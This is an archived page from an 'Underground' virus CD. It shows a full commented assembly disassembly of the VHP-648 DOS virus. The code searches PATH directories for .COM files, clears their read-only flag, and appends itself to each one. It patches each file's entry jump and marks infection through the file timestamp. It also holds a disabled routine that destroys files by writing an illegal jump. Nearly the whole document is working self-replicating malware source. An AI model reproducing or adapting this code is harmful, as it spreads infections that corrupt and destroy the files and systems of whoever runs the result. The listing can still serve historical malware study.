home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / c-623.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.8 KB  |  320 lines

  1.       name        Virus
  2.  
  3.       title       Disassembly listing of the VHP-648 virus
  4.  
  5.      .radix       16
  6.  
  7.       code        segment
  8.  
  9.       assume      cs:code,ds:code
  10.  
  11.       org         100
  12.  
  13. environ   equ     2C
  14.  
  15.  
  16.  
  17. start:
  18.  
  19.       jmp      virus
  20.  
  21.       . . .
  22.  
  23. virus:
  24.  
  25.       push      cx              ;Save CX
  26.  
  27.       mov       dx,offset data  ;Restore original first instruction
  28.  
  29.                                 ; before each contamination
  30.  
  31. modify equ      $-2             ;The instruction above is changed
  32.  
  33.       cld
  34.  
  35.       mov      si,dx
  36.  
  37.       add      si,saveins-data  ;Instruction saved there
  38.  
  39.       mov      di,offset start
  40.  
  41.       mov      cx,3             ;Move 3 bytes
  42.  
  43.       rep      movsb            ;Do it
  44.  
  45.       mov      si,dx            ;Keep SI pointed at data
  46.  
  47.  
  48.  
  49.       mov      ah,30            ;Get DOS version
  50.  
  51.       int      21
  52.  
  53.       cmp      al,0             ;Less than 2.0?
  54.  
  55.       jne      skip1
  56.  
  57.       jmp      exit             ;Exit if so
  58.  
  59.  
  60.  
  61. skip1:
  62.  
  63.       push     es               ;Save ES
  64.  
  65.       mov      ah,2F            ;Get current DTA in ES:BX
  66.  
  67.       int      21
  68.  
  69.       mov      word ptr [si+0],bx      ;dtaadr
  70.  
  71.       mov      word ptr [si+2],es
  72.  
  73.       pop      es               ;Restore ES
  74.  
  75.  
  76.  
  77.       mov      dx,mydta-data
  78.  
  79.       add      dx,si
  80.  
  81.       mov      ah,1A            ;Set DTA
  82.  
  83.       int      21
  84.  
  85.  
  86.  
  87.       push      es              ;Save ES & SI
  88.  
  89.       push      si
  90.  
  91.       mov      es,ds:[environ]  ;Environment address
  92.  
  93.       mov      di,0
  94.  
  95. n_00015A:                       ;Search 'PATH=' in the environment
  96.  
  97.       pop      si               ;Restore data offset in SI
  98.  
  99.       push     si
  100.  
  101.       add      si,pathstr-data
  102.  
  103.       lodsb
  104.  
  105.       mov      cx,8000          ;Maximum 32K in environment
  106.  
  107.       repne    scasb            ;Search for first letter ('P')
  108.  
  109.       mov      cx,4             ;4 letters in 'PATH'
  110.  
  111. n_000169:
  112.  
  113.       lodsb                     ;Search for next char
  114.  
  115.       scasb
  116.  
  117.       jne      n_00015A         ;If not found, search for next 'P'
  118.  
  119.       loop     n_000169         ;Loop until done
  120.  
  121.       pop      si               ;Restore SI & ES
  122.  
  123.       pop      es
  124.  
  125.  
  126.  
  127.       mov      [si+16],di       ;Save 'PATH' offset in poffs
  128.  
  129.       mov      di,si
  130.  
  131.       add      di,fname-data    ;Point SI & DI at '=' sign
  132.  
  133.       mov      bx,si            ;Point BX at data area
  134.  
  135.       add      si,fname-data
  136.  
  137.       mov      di,si
  138.  
  139.       jmp      short n_0001BF
  140.  
  141.  
  142.  
  143. n_000185:
  144.  
  145.       cmp      word ptr [si+16],6C  ;poffs
  146.  
  147.       jne      n_00018F
  148.  
  149.       jmp      olddta
  150.  
  151. n_00018F:
  152.  
  153.       push     ds
  154.  
  155.       push     si
  156.  
  157.       mov      ds,es:[environ]
  158.  
  159.       mov      di,si
  160.  
  161.       mov      si,es:[di+16]    ;poffs
  162.  
  163.       add      di,fname-data
  164.  
  165. n_0001A1:
  166.  
  167.       lodsb
  168.  
  169.       cmp      al,';'
  170.  
  171.       je       n_0001B0
  172.  
  173.       cmp      al,0
  174.  
  175.       je       n_0001AD
  176.  
  177.       stosb
  178.  
  179.       jmp      n_0001A1
  180.  
  181. n_0001AD:
  182.  
  183.       mov      si,0
  184.  
  185. n_0001B0:
  186.  
  187.       pop      bx
  188.  
  189.       pop      ds
  190.  
  191.       mov      [bx+16],si       ;poffs
  192.  
  193.       cmp      byte ptr [di-1],'\'
  194.  
  195.       je       n_0001BF
  196.  
  197.       mov      al,'\'           ;Add '\' if not already present
  198.  
  199.       stosb
  200.  
  201.  
  202.  
  203. n_0001BF:
  204.  
  205.       mov      [bx+18],di       ;Save '=' offset in eqoffs
  206.  
  207.       mov      si,bx            ;Restore data pointer in SI
  208.  
  209.       add      si,allcom-data
  210.  
  211.       mov      cx,6             ;6 bytes in ASCIIZ '*.COM'
  212.  
  213.       rep      movsb            ;Move '*.COM' at fname
  214.  
  215.       mov      si,bx            ;Restore SI
  216.  
  217.  
  218.  
  219.       mov      ah,4E            ;Find first file
  220.  
  221.       mov      dx,fname-data
  222.  
  223.       add      dx,si
  224.  
  225.       mov      cx,11b            ;Hidden, Read/Only or Normal files
  226.  
  227.       int      21
  228.  
  229.       jmp      short n_0001E3
  230.  
  231.  
  232.  
  233. findnext:
  234.  
  235.       mov      ah,4F             ;Find next file
  236.  
  237.       int      21
  238.  
  239. n_0001E3:
  240.  
  241.       jnc      n_0001E7          ;If found, try to contaminate it
  242.  
  243.       jmp      n_000185          ;Otherwise search in another directory
  244.  
  245.  
  246.  
  247. n_0001E7:
  248.  
  249.       mov      ax,[si+75]        ;Check file time
  250.  
  251.       and      al,11111b         ; (the seconds, more exactly)
  252.  
  253.       cmp      al,62d/2          ;Are they 62?
  254.  
  255.  
  256.  
  257. ;If so, file is already contains the virus, search for another:
  258.  
  259.  
  260.  
  261.       je       findnext
  262.  
  263.       cmp      [si+79],64000d    ;Is file size greather than 64,000 bytes?
  264.  
  265.       ja       findnext          ;If so, search for next file
  266.  
  267.       cmp      word ptr [si+79],10d  ;Is file size less than 10 bytes?
  268.  
  269.       jb       findnext              ;If so, search for next file
  270.  
  271.  
  272.  
  273.       mov      di,[si+18]        ;eqoffs
  274.  
  275.       push     si                ;Save SI
  276.  
  277.       add      si,namez-data     ;Point SI at namez
  278.  
  279. n_000209:
  280.  
  281.       lodsb
  282.  
  283.       stosb
  284.  
  285.       cmp      al,0
  286.  
  287.       jne      n_000209
  288.  
  289.  
  290.  
  291.       pop      si                ;Restore SI
  292.  
  293.       mov      ax,4300           ;Get file attributes
  294.  
  295.       mov      dx,fname-data
  296.  
  297.       add      dx,si
  298.  
  299.       int      21
  300.  
  301.  
  302.  
  303.       mov      [si+8],cx         ;Save them in fattrib
  304.  
  305.       mov      ax,4301           ;Set file attributes
  306.  
  307.  
  308.  
  309. ;The next `db's are there because MASM can't assemble
  310.  
  311. ; the instruction `and cx,0FFFE' correctly (the fool!):
  312.  
  313.  
  314.  
  315.       and      cx,0FFFE          ;Turn off Read Only flag
  316.  
  317.       mov      dx,fname-data
  318.  
  319.       add      dx,si
  320.  
  321.       int      21
  322.  
  323.  
  324.  
  325.       mov      ax,3D02           ;Open file with Read/Write access
  326.  
  327.       mov      dx,fname-data
  328.  
  329.       add      dx,si
  330.  
  331.       int      21
  332.  
  333.       jnc      n_00023E
  334.  
  335.       jmp      oldattr           ;Exit on error
  336.  
  337. n_00023E:
  338.  
  339.       mov      bx,ax             ;Save file handle in BX
  340.  
  341.       mov      ax,5700           ;Get file date & time
  342.  
  343.       int      21
  344.  
  345.       mov      [si+4],cx         ;Save time in ftime
  346.  
  347.       mov      [si+6],dx         ;Save date in fdate
  348.  
  349.  
  350.  
  351.       mov      ah,2C             ;Get system time
  352.  
  353.       int      21
  354.  
  355.       and      dh,111b           ;Are seconds a multiple of 8?
  356.  
  357.  
  358.  
  359. ;If so, destroy file (don't contaminate). Now this code is disabled.
  360.  
  361.  
  362.  
  363.       jmp      short n_000266    ;CHANGED. Was jnz here
  364.  
  365.  
  366.  
  367. ;Destroy file by rewriting an illegal jmp as first instruction:
  368.  
  369.  
  370.  
  371.       mov      ah,40             ;Write to file handle
  372.  
  373.       mov      cx,5              ;Write 5 bytes
  374.  
  375.       mov      dx,si
  376.  
  377.       add      dx,bad_jmp-data   ;Write THESE bytes
  378.  
  379.       int      21                ;Do it
  380.  
  381.       jmp      short oldtime     ;Exit
  382.  
  383.  
  384.  
  385. ;Try to contaminate file:
  386.  
  387.  
  388.  
  389. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  390.  
  391.  
  392.  
  393. n_000266:
  394.  
  395.       mov      ah,3F             ;Read from file handle
  396.  
  397.       mov      cx,3              ;Read 3 bytes
  398.  
  399.       mov      dx,saveins-data   ;Put them there
  400.  
  401.       add      dx,si
  402.  
  403.       int      21
  404.  
  405.       jc       oldtime           ;Exit on error
  406.  
  407.       cmp      ax,3              ;Are really 3 bytes read?
  408.  
  409.       jne      oldtime           ;Exit if not
  410.  
  411.  
  412.  
  413. ;Move file pointer to end of file:
  414.  
  415.  
  416.  
  417.       mov      ax,4202           ;LSEEK from end of file
  418.  
  419.       mov      cx,0              ;0 bytes from end
  420.  
  421.       mov      dx,0
  422.  
  423.       int      21
  424.  
  425.       jc       oldtime           ;Exit on error
  426.  
  427.  
  428.  
  429.       mov      cx,ax             ;Get the value of file pointer
  430.  
  431.       sub      ax,3              ;Subtract 3 from it to get real code size
  432.  
  433.       mov      [si+14d],ax       ;Save result in filloc
  434.  
  435.       add      cx,data-(virus-100)
  436.  
  437.       mov      di,si
  438.  
  439.       sub      di,data-modify    ;A little self-modification
  440.  
  441.       mov      [di],cx
  442.  
  443.  
  444.  
  445.       mov      ah,40             ;Write to file handle
  446.  
  447.       mov      cx,enddata-virus  ;Virus code length as bytes to be written
  448.  
  449.       mov      dx,si
  450.  
  451.       sub      dx,data-virus     ;Now DX points at virus label
  452.  
  453.       int      21
  454.  
  455.       jc       oldtime           ;Exit on error
  456.  
  457.       cmp      ax,enddata-virus  ;Are all bytes written?
  458.  
  459.       jne      oldtime           ;Exit if not
  460.  
  461.  
  462.  
  463.       mov      ax,4200           ;LSEEK from the beginning of the file
  464.  
  465.       mov      cx,0              ;Just at the file beginning
  466.  
  467.       mov      dx,0
  468.  
  469.       int      21
  470.  
  471.       jc       oldtime           ;Exit on error
  472.  
  473.  
  474.  
  475. ;Rewrite the first instruction of the file with a jump to the virus code:
  476.  
  477.  
  478.  
  479.       mov      ah,40             ;Write to file handle
  480.  
  481.       mov      cx,3              ;3 bytes to write
  482.  
  483.       mov      dx,si
  484.  
  485.       add      dx,newjmp-data    ;Write THESE bytes
  486.  
  487.       int      21
  488.  
  489.  
  490.  
  491. oldtime:
  492.  
  493.       mov      dx,[si+6]         ;Restore file date
  494.  
  495.       mov      cx,[si+4]         ; and time
  496.  
  497.  
  498.  
  499. ;And these again are due to the MASM 5.0 foolness:
  500.  
  501.  
  502.  
  503.       db      081,0E1,0E0,0FF
  504.  
  505.       db      081,0C9,01F,000
  506.  
  507. ;      and      cx,not 11111b
  508.  
  509. ;      or      cx,11111b         ;Set seconds to 62 (?!)
  510.  
  511.  
  512.  
  513.       mov      ax,5701           ;Set file date & time
  514.  
  515.       int      21
  516.  
  517.       mov      ah,3E             ;Close file handle
  518.  
  519.       int      21
  520.  
  521.  
  522.  
  523. oldattr:
  524.  
  525.       mov      ax,4301           ;Set file attributes
  526.  
  527.       mov      cx,[si+8]         ;They were saved in fattrib
  528.  
  529.       mov      dx,fname-data
  530.  
  531.       add      dx,si
  532.  
  533.       int      21
  534.  
  535.  
  536.  
  537. olddta:
  538.  
  539.       push     ds                ;Save DS
  540.  
  541.       mov      ah,1A             ;Set DTA
  542.  
  543.       mov      dx,[si+0]         ;Restore saved DTA
  544.  
  545.       mov      ds,[si+2]
  546.  
  547.       int      21
  548.  
  549.       pop      ds                ;Restore DS
  550.  
  551.  
  552.  
  553. exit:
  554.  
  555.       pop      cx                ;Restore CX
  556.  
  557.       xor      ax,ax             ;Clear registers
  558.  
  559.       xor      bx,bx
  560.  
  561.       xor      dx,dx
  562.  
  563.       xor      si,si
  564.  
  565.       mov      di,100            ;Jump to CS:100
  566.  
  567.       push     di                ; by doing funny RET
  568.  
  569.       xor      di,di
  570.  
  571.       ret      -1
  572.  
  573.  
  574.  
  575. data label byte                 ;Data section
  576.  
  577. dtaaddr    dd      ?            ;Disk Transfer Address
  578.  
  579. ftime      dw      ?            ;File date
  580.  
  581. fdate      dw      ?            ;File time
  582.  
  583. fattrib    dw      ?            ;File attribute
  584.  
  585. saveins    db      0EBh,0Fh,90  ;Original first 3 bytes
  586.  
  587. newjmp     db      0E9          ;Code of jmp instruction
  588.  
  589. filloc     dw      ?            ;File pointer is saved here
  590.  
  591. allcom     db      '*.COM',0    ;Filespec to search for
  592.  
  593. poffs      dw      ?            ;Address of 'PATH' string
  594.  
  595. eqoffs     dw      ?            ;Address of '=' sign
  596.  
  597. pathstr    db      'PATH='
  598.  
  599. fname      db      40 dup (' ') ;Path name to search for
  600.  
  601.  
  602.  
  603. ;Disk Transfer Address for Find First / Find Next:
  604.  
  605.  
  606.  
  607. mydta label byte
  608.  
  609. drive       db      ?           ;Drive to search for
  610.  
  611. pattern     db      13d dup (?) ;Search pattern
  612.  
  613. reserve     db      7 dup (?)   ;Not used
  614.  
  615. attrib      db      ?           ;File attribute
  616.  
  617. time        dw      ?           ;File time
  618.  
  619. date        dw      ?           ;File date
  620.  
  621. fsize       dd      ?           ;File size
  622.  
  623. namez       db      13d dup (?) ;File name found
  624.  
  625.  
  626.  
  627. ;This replaces the first instruction of a destroyed file:
  628.  
  629.  
  630.  
  631. bad_jmp db      0EA,0Bh,2,13,58
  632.  
  633. enddata label   byte
  634.  
  635.      code       ends
  636.  
  637.                 end       start
  638.  
  639.